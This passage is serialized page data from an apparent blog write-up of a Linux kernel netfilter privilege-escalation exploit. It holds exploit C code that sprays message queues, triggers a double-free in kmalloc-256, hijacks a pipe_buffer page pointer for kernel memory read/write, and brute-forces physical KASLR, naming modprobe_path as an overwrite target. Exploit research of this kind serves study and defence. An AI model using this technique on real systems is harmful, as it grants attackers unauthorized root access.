i",{"type":23,"tag":504,"props":56776,"children":56777},{"style":598},[56778],{"type":28,"value":50248},{"type":23,"tag":504,"props":56780,"children":56781},{"style":523},[56782],{"type":28,"value":1192},{"type":23,"tag":504,"props":56784,"children":56785},{"class":506,"line":736},[56786],{"type":23,"tag":504,"props":56787,"children":56788},{"style":523},[56789],{"type":28,"value":28168},{"type":23,"tag":504,"props":56791,"children":56792},{"class":506,"line":785},[56793,56798,56802,56806,56811,56816,56821,56825],{"type":23,"tag":504,"props":56794,"children":56795},{"style":529},[56796],{"type":28,"value":56797},"        qid",{"type":23,"tag":504,"props":56799,"children":56800},{"style":523},[56801],{"type":28,"value":53574},{"type":23,"tag":504,"props":56803,"children":56804},{"style":598},[56805],{"type":28,"value":601},{"type":23,"tag":504,"props":56807,"children":56808},{"style":517},[56809],{"type":28,"value":56810}," msgget",{"type":23,"tag":504,"props":56812,"children":56813},{"style":523},[56814],{"type":28,"value":56815},"(IPC_PRIVATE, ",{"type":23,"tag":504,"props":56817,"children":56818},{"style":1440},[56819],{"type":28,"value":56820},"0666",{"type":23,"tag":504,"props":56822,"children":56823},{"style":598},[56824],{"type":28,"value":3250},{"type":23,"tag":504,"props":56826,"children":56827},{"style":523},[56828],{"type":28,"value":56829}," IPC_CREAT);\n",{"type":23,"tag":504,"props":56831,"children":56832},{"class":506,"line":813},[56833,56837,56841,56846,56850,56854,56858],{"type":23,"tag":504,"props":56834,"children":56835},{"style":544},[56836],{"type":28,"value":2250},{"type":23,"tag":504,"props":56838,"children":56839},{"style":523},[56840],{"type":28,"value":801},{"type":23,"tag":504,"props":56842,"children":56843},{"style":529},[56844],{"type":28,"value":56845},"qid",{"type":23,"tag":504,"props":56847,"children":56848},{"style":523},[56849],{"type":28,"value":53574},{"type":23,"tag":504,"props":56851,"children":56852},{"style":598},[56853],{"type":28,"value":4789},{"type":23,"tag":504,"props":56855,"children":56856},{"style":1440},[56857],{"type":28,"value":2023},{"type":23,"tag":504,"props":56859,"children":56860},{"style":523},[56861],{"type":28,"value":1192},{"type":23,"tag":504,"props":56863,"children":56864},{"class":506,"line":851},[56865],{"type":23,"tag":504,"props":56866,"children":56867},{"style":523},[56868],{"type":28,"value":30637},{"type":23,"tag":504,"props":56870,"children":56871},{"class":506,"line":869},[56872,56877,56881,56886],{"type":23,"tag":504,"props":56873,"children":56874},{"style":517},[56875],{"type":28,"value":56876},"            perror",{"type":23,"tag":504,"props":56878,"children":56879},{"style":523},[56880],{"type":28,"value":526},{"type":23,"tag":504,"props":56882,"children":56883},{"style":622},[56884],{"type":28,"value":56885},"\"[-] msgget\"",{"type":23,"tag":504,"props":56887,"children":56888},{"style":523},[56889],{"type":28,"value":630},{"type":23,"tag":504,"props":56891,"children":56892},{"class":506,"line":878},[56893],{"type":23,"tag":504,"props":56894,"children":56895},{"style":523},[56896],{"type":28,"value":1291},{"type":23,"tag":504,"props":56898,"children":56899},{"class":506,"line":1221},[56900,56904,56908,56913,56917,56921,56926,56930,56935,56939],{"type":23,"tag":504,"props":56901,"children":56902},{"style":598},[56903],{"type":28,"value":6734},{"type":23,"tag":504,"props":56905,"children":56906},{"style":523},[56907],{"type":28,"value":526},{"type":23,"tag":504,"props":56909,"children":56910},{"style":511},[56911],{"type":28,"value":56912},"uint32_t",{"type":23,"tag":504,"props":56914,"children":56915},{"style":598},[56916],{"type":28,"value":8797},{"type":23,"tag":504,"props":56918,"children":56919},{"style":523},[56920],{"type":28,"value":2105},{"type":23,"tag":504,"props":56922,"children":56923},{"style":529},[56924],{"type":28,"value":56925},"msg",{"type":23,"tag":504,"props":56927,"children":56928},{"style":523},[56929],{"type":28,"value":12738},{"type":23,"tag":504,"props":56931,"children":56932},{"style":529},[56933],{"type":28,"value":56934},"mtext",{"type":23,"tag":504,"props":56936,"children":56937},{"style":598},[56938],{"type":28,"value":648},{"type":23,"tag":504,"props":56940,"children":56941},{"style":523},[56942],{"type":28,"value":56943}," i;\n",{"type":23,"tag":504,"props":56945,"children":56946},{"class":506,"line":1276},[56947,56951,56955,56959,56963,56967,56971,56975,56979,56983,56987,56991,56995,56999,57004],{"type":23,"tag":504,"props":56948,"children":56949},{"style":598},[56950],{"type":28,"value":6734},{"type":23,"tag":504,"props":56952,"children":56953},{"style":523},[56954],{"type":28,"value":526},{"type":23,"tag":504,"props":56956,"children":56957},{"style":511},[56958],{"type":28,"value":54613},{"type":23,"tag":504,"props":56960,"children":56961},{"style":598},[56962],{"type":28,"value":8797},{"type":23,"tag":504,"props":56964,"children":56965},{"style":523},[56966],{"type":28,"value":2105},{"type":23,"tag":504,"props":56968,"children":56969},{"style":598},[56970],{"type":28,"value":2086},{"type":23,"tag":504,"props":56972,"children":56973},{"style":529},[56974],{"type":28,"value":56925},{"type":23,"tag":504,"props":56976,"children":56977},{"style":523},[56978],{"type":28,"value":12738},{"type":23,"tag":504,"props":56980,"children":56981},{"style":529},[56982],{"type":28,"value":56934},{"type":23,"tag":504,"props":56984,"children":56985},{"style":523},[56986],{"type":28,"value":2711},{"type":23,"tag":504,"props":56988,"children":56989},{"style":1440},[56990],{"type":28,"value":3055},{"type":23,"tag":504,"props":56992,"children":56993},{"style":523},[56994],{"type":28,"value":595},{"type":23,"tag":504,"props":56996,"children":56997},{"style":598},[56998],{"type":28,"value":601},{"type":23,"tag":504,"props":57000,"children":57001},{"style":1440},[57002],{"type":28,"value":57003}," 0xdeadbeefcafebabe",{"type":23,"tag":504,"props":57005,"children":57006},{"style":523},[57007],{"type":28,"value":866},{"type":23,"tag":504,"props":57009,"children":57010},{"class":506,"line":1285},[57011,57016,57020,57025,57029],{"type":23,"tag":504,"props":57012,"children":57013},{"style":529},[57014],{"type":28,"value":57015},"        msg",{"type":23,"tag":504,"props":57017,"children":57018},{"style":523},[57019],{"type":28,"value":12738},{"type":23,"tag":504,"props":57021,"children":57022},{"style":529},[57023],{"type":28,"value":57024},"mtype",{"type":23,"tag":504,"props":57026,"children":57027},{"style":598},[57028],{"type":28,"value":648},{"type":23,"tag":504,"props":57030,"children":57031},{"style":523},[57032],{"type":28,"value":57033}," MTYPE_PRIMARY;\n",{"type":23,"tag":504,"props":57035,"children":57036},{"class":506,"line":1294},[57037,57042,57046,57050,57055,57059,57063,57068,57072,57076],{"type":23,"tag":504,"props":57038,"children":57039},{"style":517},[57040],{"type":28,"value":57041},"        msgsnd",{"type":23,"tag":504,"props":57043,"children":57044},{"style":523},[57045],{"type":28,"value":526},{"type":23,"tag":504,"props":57047,"children":57048},{"style":529},[57049],{"type":28,"value":56845},{"type":23,"tag":504,"props":57051,"children":57052},{"style":523},[57053],{"type":28,"value":57054},"[i], msg, ",{"type":23,"tag":504,"props":57056,"children":57057},{"style":1440},[57058],{"type":28,"value":54950},{"type":23,"tag":504,"props":57060,"children":57061},{"style":598},[57062],{"type":28,"value":50234},{"type":23,"tag":504,"props":57064,"children":57065},{"style":1440},[57066],{"type":28,"value":57067}," 48",{"type":23,"tag":504,"props":57069,"children":57070},{"style":523},[57071],{"type":28,"value":576},{"type":23,"tag":504,"props":57073,"children":57074},{"style":1440},[57075],{"type":28,"value":3001},{"type":23,"tag":504,"props":57077,"children":57078},{"style":523},[57079],{"type":28,"value":630},{"type":23,"tag":504,"props":57081,"children":57082},{"class":506,"line":1302},[57083,57087,57091,57095,57099],{"type":23,"tag":504,"props":57084,"children":57085},{"style":529},[57086],{"type":28,"value":57015},{"type":23,"tag":504,"props":57088,"children":57089},{"style":523},[57090],{"type":28,"value":12738},{"type":23,"tag":504,"props":57092,"children":57093},{"style":529},[57094],{"type":28,"value":57024},{"type":23,"tag":504,"props":57096,"children":57097},{"style":598},[57098],{"type":28,"value":648},{"type":23,"tag":504,"props":57100,"children":57101},{"style":523},[57102],{"type":28,"value":57103}," MTYPE_SECONDARY;\n",{"type":23,"tag":504,"props":57105,"children":57106},{"class":506,"line":1311},[57107,57111,57115,57119,57123,57128,57132,57136,57140,57144],{"type":23,"tag":504,"props":57108,"children":57109},{"style":517},[57110],{"type":28,"value":57041},{"type":23,"tag":504,"props":57112,"children":57113},{"style":523},[57114],{"type":28,"value":526},{"type":23,"tag":504,"props":57116,"children":57117},{"style":529},[57118],{"type":28,"value":56845},{"type":23,"tag":504,"props":57120,"children":57121},{"style":523},[57122],{"type":28,"value":57054},{"type":23,"tag":504,"props":57124,"children":57125},{"style":1440},[57126],{"type":28,"value":57127},"1024",{"type":23,"tag":504,"props":57129,"children":57130},{"style":598},[57131],{"type":28,"value":50234},{"type":23,"tag":504,"props":57133,"children":57134},{"style":1440},[57135],{"type":28,"value":57067},{"type":23,"tag":504,"props":57137,"children":57138},{"style":523},[57139],{"type":28,"value":576},{"type":23,"tag":504,"props":57141,"children":57142},{"style":1440},[57143],{"type":28,"value":3001},{"type":23,"tag":504,"props":57145,"children":57146},{"style":523},[57147],{"type":28,"value":630},{"type":23,"tag":504,"props":57149,"children":57150},{"class":506,"line":1334},[57151],{"type":23,"tag":504,"props":57152,"children":57153},{"style":523},[57154],{"type":28,"value":875},{"type":23,"tag":504,"props":57156,"children":57157},{"class":506,"line":1370},[57158],{"type":23,"tag":504,"props":57159,"children":57160},{"style":1106},[57161],{"type":28,"value":57162},"    // Prepare evil msg\n",{"type":23,"tag":504,"props":57164,"children":57165},{"class":506,"line":1384},[57166,57170,57175,57179,57183,57187,57191,57195],{"type":23,"tag":504,"props":57167,"children":57168},{"style":511},[57169],{"type":28,"value":18058},{"type":23,"tag":504,"props":57171,"children":57172},{"style":523},[57173],{"type":28,"value":57174}," evilqid ",{"type":23,"tag":504,"props":57176,"children":57177},{"style":598},[57178],{"type":28,"value":601},{"type":23,"tag":504,"props":57180,"children":57181},{"style":517},[57182],{"type":28,"value":56810},{"type":23,"tag":504,"props":57184,"children":57185},{"style":523},[57186],{"type":28,"value":56815},{"type":23,"tag":504,"props":57188,"children":57189},{"style":1440},[57190],{"type":28,"value":56820},{"type":23,"tag":504,"props":57192,"children":57193},{"style":598},[57194],{"type":28,"value":3250},{"type":23,"tag":504,"props":57196,"children":57197},{"style":523},[57198],{"type":28,"value":56829},{"type":23,"tag":504,"props":57200,"children":57201},{"class":506,"line":1392},[57202,57206,57211,57215,57219],{"type":23,"tag":504,"props":57203,"children":57204},{"style":544},[57205],{"type":28,"value":11261},{"type":23,"tag":504,"props":57207,"children":57208},{"style":523},[57209],{"type":28,"value":57210}," (evilqid ",{"type":23,"tag":504,"props":57212,"children":57213},{"style":598},[57214],{"type":28,"value":4789},{"type":23,"tag":504,"props":57216,"children":57217},{"style":1440},[57218],{"type":28,"value":2023},{"type":23,"tag":504,"props":57220,"children":57221},{"style":523},[57222],{"type":28,"value":1192},{"type":23,"tag":504,"props":57224,"children":57225},{"class":506,"line":1400},[57226],{"type":23,"tag":504,"props":57227,"children":57228},{"style":523},[57229],{"type":28,"value":28168},{"type":23,"tag":504,"props":57231,"children":57232},{"class":506,"line":1422},[57233,57238,57242,57246],{"type":23,"tag":504,"props":57234,"children":57235},{"style":517},[57236],{"type":28,"value":57237},"        perror",{"type":23,"tag":504,"props":57239,"children":57240},{"style":523},[57241],{"type":28,"value":526},{"type":23,"tag":504,"props":57243,"children":57244},{"style":622},[57245],{"type":28,"value":56885},{"type":23,"tag":504,"props":57247,"children":57248},{"style":523},[57249],{"type":28,"value":630},{"type":23,"tag":504,"props":57251,"children":57252},{"class":506,"line":1450},[57253],{"type":23,"tag":504,"props":57254,"children":57255},{"style":523},[57256],{"type":28,"value":875},{"type":23,"tag":504,"props":57258,"children":57259},{"class":506,"line":1463},[57260],{"type":23,"tag":504,"props":57261,"children":57262},{"style":523},[57263],{"type":28,"value":57264},"[...] // trigger double-free in kmalloc-256\n",{"type":23,"tag":82,"props":57266,"children":57268},{"id":57267},"using-pipe_buffer-page-pointer-for-physical-readwrite",[57269],{"type":28,"value":57270},"Using pipe_buffer->page pointer for physical read/write",{"type":23,"tag":24,"props":57272,"children":57273},{},[57274,57276,57282,57283,57289,57290,57296,57298,57304],{"type":28,"value":57275},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":23,"tag":56,"props":57277,"children":57279},{"className":57278},[],[57280],{"type":28,"value":57281},"kmalloc-1k",{"type":28,"value":430},{"type":23,"tag":56,"props":57284,"children":57286},{"className":57285},[],[57287],{"type":28,"value":57288},"overlap pipe_buffer",{"type":28,"value":20485},{"type":23,"tag":56,"props":57291,"children":57293},{"className":57292},[],[57294],{"type":28,"value":57295},"skbuf",{"type":28,"value":57297}," data to control the ",{"type":23,"tag":56,"props":57299,"children":57301},{"className":57300},[],[57302],{"type":28,"value":57303},"page",{"type":28,"value":57305}," field.",{"type":23,"tag":24,"props":57307,"children":57308},{},[57309,57310,57315,57317,57323,57325],{"type":28,"value":15592},{"type":23,"tag":56,"props":57311,"children":57313},{"className":57312},[],[57314],{"type":28,"value":57303},{"type":28,"value":57316}," field is a pointer into ",{"type":23,"tag":56,"props":57318,"children":57320},{"className":57319},[],[57321],{"type":28,"value":57322},"vmemmap_base",{"type":28,"value":57324},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":23,"tag":126,"props":57326,"children":57328},{"alt":128,"src":57327},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":23,"tag":24,"props":57330,"children":57331},{},[57332,57334,57339],{"type":28,"value":57333},"This now allows us to navigate the ",{"type":23,"tag":56,"props":57335,"children":57337},{"className":57336},[],[57338],{"type":28,"value":57322},{"type":28,"value":57340}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":23,"tag":82,"props":57342,"children":57344},{"id":57343},"bruteforce-physical-kernel-base",[57345],{"type":28,"value":57346},"Bruteforce physical kernel base",{"type":23,"tag":24,"props":57348,"children":57349},{},[57350,57352,57358,57360,57365,57367,57373],{"type":28,"value":57351},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":23,"tag":56,"props":57353,"children":57355},{"className":57354},[],[57356],{"type":28,"value":57357},"modprobe_path",{"type":28,"value":57359},". Keep in mind that simply searching page by page from the start of ",{"type":23,"tag":56,"props":57361,"children":57363},{"className":57362},[],[57364],{"type":28,"value":57322},{"type":28,"value":57366}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":23,"tag":56,"props":57368,"children":57370},{"className":57369},[],[57371],{"type":28,"value":57372},"PHYSICAL_ALIGN",{"type":28,"value":57374}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":23,"tag":494,"props":57376,"children":57378},{"className":28091,"code":57377,"language":28093,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[57379],{"type":23,"tag":56,"props":57380,"children":57381},{"__ignoreMap":7},[57382,57389,57397,57405,57429,57462,57482,57522,57529,57573,57607,57634,57670,57677,57723,57730,57760,57773,57838,57845,57857,57864,57871,57878,57904,57911,57931,57943,57950,57957,57964],{"type":23,"tag":504,"props":57383,"children":57384},{"class":506,"line":507},[57385],{"type":23,"tag":504,"props":57386,"children":57387},{"style":523},[57388],{"type":28,"value":9299},{"type":23,"tag":504,"props":57390,"children":57391},{"class":506,"line":540},[57392],{"type":23,"tag":504,"props":57393,"children":57394},{"style":523},[57395],{"type":28,"value":57396},"// Bruteforce phys-KASLR\n",{"type":23,"tag":504,"props":57398,"children":57399},{"class":506,"line":555},[57400],{"type":23,"tag":504,"props":57401,"children":57402},{"style":523},[57403],{"type":28,"value":57404},"    uint64_t kernel_base;\n",{"type":23,"tag":504,"props":57406,"children":57407},{"class":506,"line":633},[57408,57412,57417,57421,57425],{"type":23,"tag":504,"props":57409,"children":57410},{"style":511},[57411],{"type":28,"value":45452},{"type":23,"tag":504,"props":57413,"children":57414},{"style":523},[57415],{"type":28,"value":57416}," found ",{"type":23,"tag":504,"props":57418,"children":57419},{"style":598},[57420],{"type":28,"value":601},{"type":23,"tag":504,"props":57422,"children":57423},{"style":511},[57424],{"type":28,"value":8041},{"type":23,"tag":504,"props":57426,"children":57427},{"style":523},[57428],{"type":28,"value":866},{"type":23,"tag":504,"props":57430,"children":57431},{"class":506,"line":687},[57432,57437,57441,57446,57450,57454,57458],{"type":23,"tag":504,"props":57433,"children":57434},{"style":511},[57435],{"type":28,"value":57436},"    uint8_t",{"type":23,"tag":504,"props":57438,"children":57439},{"style":529},[57440],{"type":28,"value":14084},{"type":23,"tag":504,"props":57442,"children":57443},{"style":523},[57444],{"type":28,"value":57445},"[PAGE_SIZE] ",{"type":23,"tag":504,"props":57447,"children":57448},{"style":598},[57449],{"type":28,"value":601},{"type":23,"tag":504,"props":57451,"children":57452},{"style":523},[57453],{"type":28,"value":44196},{"type":23,"tag":504,"props":57455,"children":57456},{"style":1440},[57457],{"type":28,"value":3001},{"type":23,"tag":504,"props":57459,"children":57460},{"style":523},[57461],{"type":28,"value":15556},{"type":23,"tag":504,"props":57463,"children":57464},{"class":506,"line":736},[57465,57469,57473,57478],{"type":23,"tag":504,"props":57466,"children":57467},{"style":517},[57468],{"type":28,"value":54485},{"type":23,"tag":504,"props":57470,"children":57471},{"style":523},[57472],{"type":28,"value":526},{"type":23,"tag":504,"props":57474,"children":57475},{"style":622},[57476],{"type":28,"value":57477},"\"[*] bruteforce phys-KASLR\"",{"type":23,"tag":504,"props":57479,"children":57480},{"style":523},[57481],{"type":28,"value":630},{"type":23,"tag":504,"props":57483,"children":57484},{"class":506,"line":785},[57485,57489,57493,57497,57501,57505,57509,57514,57518],{"type":23,"tag":504,"props":57486,"children":57487},{"style":544},[57488],{"type":28,"value":2008},{"type":23,"tag":504,"props":57490,"children":57491},{"style":523},[57492],{"type":28,"value":801},{"type":23,"tag":504,"props":57494,"children":57495},{"style":511},[57496],{"type":28,"value":54613},{"type":23,"tag":504,"props":57498,"children":57499},{"style":523},[57500],{"type":28,"value":53522},{"type":23,"tag":504,"props":57502,"children":57503},{"style":598},[57504],{"type":28,"value":601},{"type":23,"tag":504,"props":57506,"children":57507},{"style":1440},[57508],{"type":28,"value":2023},{"type":23,"tag":504,"props":57510,"children":57511},{"style":523},[57512],{"type":28,"value":57513},";; i",{"type":23,"tag":504,"props":57515,"children":57516},{"style":598},[57517],{"type":28,"value":50248},{"type":23,"tag":504,"props":57519,"children":57520},{"style":523},[57521],{"type":28,"value":1192},{"type":23,"tag":504,"props":57523,"children":57524},{"class":506,"line":813},[57525],{"type":23,"tag":504,"props":57526,"children":57527},{"style":523},[57528],{"type":28,"value":28168},{"type":23,"tag":504,"props":57530,"children":57531},{"class":506,"line":851},[57532,57537,57541,57546,57550,57555,57559,57564,57568],{"type":23,"tag":504,"props":57533,"children":57534},{"style":523},[57535],{"type":28,"value":57536},"        kernel_base ",{"type":23,"tag":504,"props":57538,"children":57539},{"style":598},[57540],{"type":28,"value":601},{"type":23,"tag":504,"props":57542,"children":57543},{"style":1440},[57544],{"type":28,"value":57545}," 0x40",{"type":23,"tag":504,"props":57547,"children":57548},{"style":598},[57549],{"type":28,"value":8797},{"type":23,"tag":504,"props":57551,"children":57552},{"style":523},[57553],{"type":28,"value":57554}," ((PHYSICAL_ALIGN ",{"type":23,"tag":504,"props":57556,"children":57557},{"style":598},[57558],{"type":28,"value":3552},{"type":23,"tag":504,"props":57560,"children":57561},{"style":523},[57562],{"type":28,"value":57563}," i) ",{"type":23,"tag":504,"props":57565,"children":57566},{"style":598},[57567],{"type":28,"value":11742},{"type":23,"tag":504,"props":57569,"children":57570},{"style":523},[57571],{"type":28,"value":57572}," PAGE_SHIFT);\n",{"type":23,"tag":504,"props":57574,"children":57575},{"class":506,"line":869},[57576,57581,57585,57589,57593,57598,57602],{"type":23,"tag":504,"props":57577,"children":57578},{"style":529},[57579],{"type":28,"value":57580},"        pipebuf",{"type":23,"tag":504,"props":57582,"children":57583},{"style":523},[57584],{"type":28,"value":12738},{"type":23,"tag":504,"props":57586,"children":57587},{"style":529},[57588],{"type":28,"value":57303},{"type":23,"tag":504,"props":57590,"children":57591},{"style":598},[57592],{"type":28,"value":648},{"type":23,"tag":504,"props":57594,"children":57595},{"style":523},[57596],{"type":28,"value":57597}," vmemmap_base ",{"type":23,"tag":504,"props":57599,"children":57600},{"style":598},[57601],{"type":28,"value":1642},{"type":23,"tag":504,"props":57603,"children":57604},{"style":523},[57605],{"type":28,"value":57606}," kernel_base;\n",{"type":23,"tag":504,"props":57608,"children":57609},{"class":506,"line":878},[57610,57614,57618,57622,57626,57630],{"type":23,"tag":504,"props":57611,"children":57612},{"style":529},[57613],{"type":28,"value":57580},{"type":23,"tag":504,"props":57615,"children":57616},{"style":523},[57617],{"type":28,"value":12738},{"type":23,"tag":504,"props":57619,"children":57620},{"style":529},[57621],{"type":28,"value":12882},{"type":23,"tag":504,"props":57623,"children":57624},{"style":598},[57625],{"type":28,"value":648},{"type":23,"tag":504,"props":57627,"children":57628},{"style":1440},[57629],{"type":28,"value":2023},{"type":23,"tag":504,"props":57631,"children":57632},{"style":523},[57633],{"type":28,"value":866},{"type":23,"tag":504,"props":57635,"children":57636},{"class":506,"line":1221},[57637,57641,57645,57649,57653,57658,57662,57666],{"type":23,"tag":504,"props":57638,"children":57639},{"style":529},[57640],{"type":28,"value":57580},{"type":23,"tag":504,"props":57642,"children":57643},{"style":523},[57644],{"type":28,"value":12738},{"type":23,"tag":504,"props":57646,"children":57647},{"style":529},[57648],{"type":28,"value":8121},{"type":23,"tag":504,"props":57650,"children":57651},{"style":598},[57652],{"type":28,"value":648},{"type":23,"tag":504,"props":57654,"children":57655},{"style":523},[57656],{"type":28,"value":57657}," PAGE_SIZE ",{"type":23,"tag":504,"props":57659,"children":57660},{"style":598},[57661],{"type":28,"value":1642},{"type":23,"tag":504,"props":57663,"children":57664},{"style":1440},[57665],{"type":28,"value":3504},{"type":23,"tag":504,"props":57667,"children":57668},{"style":523},[57669],{"type":28,"value":866},{"type":23,"tag":504,"props":57671,"children":57672},{"class":506,"line":1276},[57673],{"type":23,"tag":504,"props":57674,"children":57675},{"style":523},[57676],{"type":28,"value":9299},{"type":23,"tag":504,"props":57678,"children":57679},{"class":506,"line":1285},[57680,57685,57689,57693,57697,57701,57706,57710,57715,57719],{"type":23,"tag":504,"props":57681,"children":57682},{"style":523},[57683],{"type":28,"value":57684},"        for (",{"type":23,"tag":504,"props":57686,"children":57687},{"style":511},[57688],{"type":28,"value":18028},{"type":23,"tag":504,"props":57690,"children":57691},{"style":529},[57692],{"type":28,"value":7607},{"type":23,"tag":504,"props":57694,"children":57695},{"style":598},[57696],{"type":28,"value":648},{"type":23,"tag":504,"props":57698,"children":57699},{"style":1440},[57700],{"type":28,"value":2023},{"type":23,"tag":504,"props":57702,"children":57703},{"style":523},[57704],{"type":28,"value":57705},"; j ",{"type":23,"tag":504,"props":57707,"children":57708},{"style":598},[57709],{"type":28,"value":4789},{"type":23,"tag":504,"props":57711,"children":57712},{"style":523},[57713],{"type":28,"value":57714}," PIPE_SPRAY; j",{"type":23,"tag":504,"props":57716,"children":57717},{"style":598},[57718],{"type":28,"value":50248},{"type":23,"tag":504,"props":57720,"children":57721},{"style":523},[57722],{"type":28,"value":1192},{"type":23,"tag":504,"props":57724,"children":57725},{"class":506,"line":1294},[57726],{"type":23,"tag":504,"props":57727,"children":57728},{"style":523},[57729],{"type":28,"value":30637},{"type":23,"tag":504,"props":57731,"children":57732},{"class":506,"line":1302},[57733,57738,57742,57746,57751,57755],{"type":23,"tag":504,"props":57734,"children":57735},{"style":517},[57736],{"type":28,"value":57737},"            memset",{"type":23,"tag":504,"props":57739,"children":57740},{"style":523},[57741],{"type":28,"value":526},{"type":23,"tag":504,"props":57743,"children":57744},{"style":598},[57745],{"type":28,"value":2086},{"type":23,"tag":504,"props":57747,"children":57748},{"style":523},[57749],{"type":28,"value":57750},"data, ",{"type":23,"tag":504,"props":57752,"children":57753},{"style":1440},[57754],{"type":28,"value":3001},{"type":23,"tag":504,"props":57756,"children":57757},{"style":523},[57758],{"type":28,"value":57759},", PAGE_SIZE);\n",{"type":23,"tag":504,"props":57761,"children":57762},{"class":506,"line":1311},[57763,57768],{"type":23,"tag":504,"props":57764,"children":57765},{"style":511},[57766],{"type":28,"value":57767},"            int",{"type":23,"tag":504,"props":57769,"children":57770},{"style":523},[57771],{"type":28,"value":57772}," count;\n",{"type":23,"tag":504,"props":57774,"children":57775},{"class":506,"line":1334},[57776,57781,57786,57790,57795,57799,57804,57809,57813,57817,57821,57826,57830,57834],{"type":23,"tag":504,"props":57777,"children":57778},{"style":544},[57779],{"type":28,"value":57780},"            if",{"type":23,"tag":504,"props":57782,"children":57783},{"style":523},[57784],{"type":28,"value":57785}," (count ",{"type":23,"tag":504,"props":57787,"children":57788},{"style":598},[57789],{"type":28,"value":601},{"type":23,"tag":504,"props":57791,"children":57792},{"style":517},[57793],{"type":28,"value":57794}," read",{"type":23,"tag":504,"props":57796,"children":57797},{"style":523},[57798],{"type":28,"value":526},{"type":23,"tag":504,"props":57800,"children":57801},{"style":529},[57802],{"type":28,"value":57803},"pfd",{"type":23,"tag":504,"props":57805,"children":57806},{"style":523},[57807],{"type":28,"value":57808},"[j][",{"type":23,"tag":504,"props":57810,"children":57811},{"style":1440},[57812],{"type":28,"value":3001},{"type":23,"tag":504,"props":57814,"children":57815},{"style":523},[57816],{"type":28,"value":22041},{"type":23,"tag":504,"props":57818,"children":57819},{"style":598},[57820],{"type":28,"value":2086},{"type":23,"tag":504,"props":57822,"children":57823},{"style":523},[57824],{"type":28,"value":57825},"data, PAGE_SIZE) ",{"type":23,"tag":504,"props":57827,"children":57828},{"style":598},[57829],{"type":28,"value":4789},{"type":23,"tag":504,"props":57831,"children":57832},{"style":1440},[57833],{"type":28,"value":2023},{"type":23,"tag":504,"props":57835,"children":57836},{"style":523},[57837],{"type":28,"value":1192},{"type":23,"tag":504,"props":57839,"children":57840},{"class":506,"line":1370},[57841],{"type":23,"tag":504,"props":57842,"children":57843},{"style":523},[57844],{"type":28,"value":30673},{"type":23,"tag":504,"props":57846,"children":57847},{"class":506,"line":1384},[57848,57853],{"type":23,"tag":504,"props":57849,"children":57850},{"style":544},[57851],{"type":28,"value":57852},"                continue",{"type":23,"tag":504,"props":57854,"children":57855},{"style":523},[57856],{"type":28,"value":866},{"type":23,"tag":504,"props":57858,"children":57859},{"class":506,"line":1392},[57860],{"type":23,"tag":504,"props":57861,"children":57862},{"style":523},[57863],{"type":28,"value":1282},{"type":23,"tag":504,"props":57865,"children":57866},{"class":506,"line":1400},[57867],{"type":23,"tag":504,"props":57868,"children":57869},{"style":523},[57870],{"type":28,"value":9299},{"type":23,"tag":504,"props":57872,"children":57873},{"class":506,"line":1422},[57874],{"type":23,"tag":504,"props":57875,"children":57876},{"emptyLinePlaceholder":16},[57877],{"type":28,"value":1038},{"type":23,"tag":504,"props":57879,"children":57880},{"class":506,"line":1450},[57881,57886,57891,57895,57899],{"type":23,"tag":504,"props":57882,"children":57883},{"style":523},[57884],{"type":28,"value":57885},"            if (",{"type":23,"tag":504,"props":57887,"children":57888},{"style":1012},[57889],{"type":28,"value":57890},"is_kernel_base",{"type":23,"tag":504,"props":57892,"children":57893},{"style":523},[57894],{"type":28,"value":526},{"type":23,"tag":504,"props":57896,"children":57897},{"style":1012},[57898],{"type":28,"value":2679},{"type":23,"tag":504,"props":57900,"children":57901},{"style":523},[57902],{"type":28,"value":57903},")) // [1] identify kernel base\n",{"type":23,"tag":504,"props":57905,"children":57906},{"class":506,"line":1463},[57907],{"type":23,"tag":504,"props":57908,"children":57909},{"style":523},[57910],{"type":28,"value":30673},{"type":23,"tag":504,"props":57912,"children":57913},{"class":506,"line":1485},[57914,57919,57923,57927],{"type":23,"tag":504,"props":57915,"children":57916},{"style":523},[57917],{"type":28,"value":57918},"                found ",{"type":23,"tag":504,"props":57920,"children":57921},{"style":598},[57922],{"type":28,"value":601},{"type":23,"tag":504,"props":57924,"children":57925},{"style":511},[57926],{"type":28,"value":1750},{"type":23,"tag":504,"props":57928,"children":57929},{"style":523},[57930],{"type":28,"value":866},{"type":23,"tag":504,"props":57932,"children":57933},{"class":506,"line":1503},[57934,57939],{"type":23,"tag":504,"props":57935,"children":57936},{"style":544},[57937],{"type":28,"value":57938},"                